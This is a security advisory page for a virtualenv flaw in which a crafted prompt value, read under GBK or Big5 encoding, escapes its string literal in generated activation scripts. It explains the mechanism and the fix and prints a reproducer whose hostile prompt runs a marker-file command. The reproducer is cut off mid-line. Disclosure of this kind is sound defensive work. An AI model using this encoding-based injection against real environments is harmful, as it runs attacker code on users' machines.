virtualenv: Xonsh activation literals depend on the script decoding codec
CVE-2026-113718 · GHSA-394h-qwmc-48pf · published 23 Oct 2026
How serious is it
- Severity: high, CVSS score 7.1 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-113718?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
virtualenv(PyPI) < 21.14.9
How to check
- Run
pip show virtualenvin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
virtualenvto 21.14.9 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the
value passed to virtualenv, and a user must subsequently activate the environment.
## Affected area
Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can
change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure
through unrelated activators.
## Attacker-controlled input
The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated
activation script.
## Affected code
The relevant 21.14.8 source is in
[xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py),
[UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).
## Mechanism
The generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters
in the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK
or Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character.
The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal
and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.
## Reproduction and evidence
The original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile
prompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path`
controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.
[PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to
`ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,
decodes it as GBK, and checks that `ast.literal_eval` returns the original prompt.
The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of
the generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is
attributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix.
## Attack sequence
```mermaid
sequenceDiagram
participant A as Prompt supplier
participant V as virtualenv quote()
participant F as activate.xsh bytes
participant X as xonsh source
A->>V: 中 plus escaped quote and statements
V->>F: repr writes UTF-8 中 followed by backslash
alt XONSH_ENCODING is UTF-8
F->>X: backslash remains an escape
X-->>A: prompt remains data
else XONSH_ENCODING is GBK or Big5
F->>X: decoder consumes backslash as trail byte
X->>X: quote closes and statements run
end
Note over V,X: ascii() emits only ASCII bytes and preserves the literal
```
## Reproducer files
The following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
**`repro`**
```text
#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path
from shutil import rmtree
work = Path("/tmp/activate-this-gbk")
rmtree(work, ignore_errors=True)
work.mkdir()
env_dir = work / "venv"
marker = work / "MARKER"
# set up: a zh_CN.GBK locale, which the image does not ship
subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True)
utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"}
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}
# attacker: text that a tool relays as --prompt
# the payload's " makes repr() delimit with ' and write the prompt's own ' as \'
# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next
payload = f'__import__("os").system("touch {marker}")'
hostile_prompt = "中" + "';" + payload + "#"
# user: creates the environment with the virtualenv command
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True)
activate_this = (env_dir / "bin" / "activate_this.py").read_bytes()
prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]'))
print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}")
print(f"activate_this.py read as GBK: {prompt_line.decode('gbk')}")
assert not marker.exists(), "payload ran at creation time"
# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one
activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir]
control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True)
ran_in_utf8_session = marker.exists()
print(f"CONTROL UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")
observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True)
ran_in_gbk_session = marker.exists()
print(f"OBSERVED GBK session: {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}")
# check: the prompt is data and must not run in either session
print("BUG" if ran_in_gbk_se…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/pypa/virtualenv/security/advisories/GHSA-394h-qwmc-48pf
- nvd.nist.gov/vuln/detail/CVE-2026-113718
- github.com/pypa/virtualenv/pull/3432
- github.com/pypa/virtualenv/commit/e5fc2e6e189a877ff559af288919e3525d13e5e0
- github.com/pypa/virtualenv/releases/tag/21.14.9
- github.com/advisories/GHSA-394h-qwmc-48pf
- github.com/pypa/virtualenv
Merged from GitHub Advisory Database, OSV. Last updated 26 Oct 2026. All vulnerabilities · RSS · JSON